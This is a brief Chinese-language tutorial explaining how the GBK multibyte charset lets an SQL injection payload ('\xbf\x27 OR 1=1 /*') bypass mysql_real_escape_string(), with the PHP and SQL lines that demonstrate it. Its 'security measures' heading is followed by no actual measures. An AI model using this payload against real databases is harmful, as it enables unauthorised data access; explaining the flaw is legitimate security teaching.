利用无效多字节字符绕过mysql_real_escape_string()
函数进行SQL注入
即使使用了mysql_real_escape_string()
函数,仍然可能发生SQL注入。以下步骤演示了如何绕过该函数:
设置服务器字符集为易受攻击的编码:
<code class="language-sql">mysql_query('SET NAMES gbk');</code>
构造包含无效多字节字符的攻击载荷:
<code class="language-php">$var = mysql_real_escape_string("\xbf\x27 OR 1=1 /*");</code>
使用未转义的攻击载荷执行查询:
<code class="language-sql">mysql_query("SELECT * FROM test WHERE name = '$var' LIMIT 1");</code>
mysql_real_escape_string()
函数的转义操作依赖于当前使用的字符集。然而,在这个例子中,连接使用了易受攻击的字符集(例如gbk),允许创建无效的多字节字符。因此,注入载荷没有被正确转义,导致注入攻击成功。
安全措施
为了防止此类注入攻击,务必采取以下措施:
以上是SQL注入如何绕过`mysql_real_escape_string()`?的详细内容。更多信息请关注PHP中文网其他相关文章!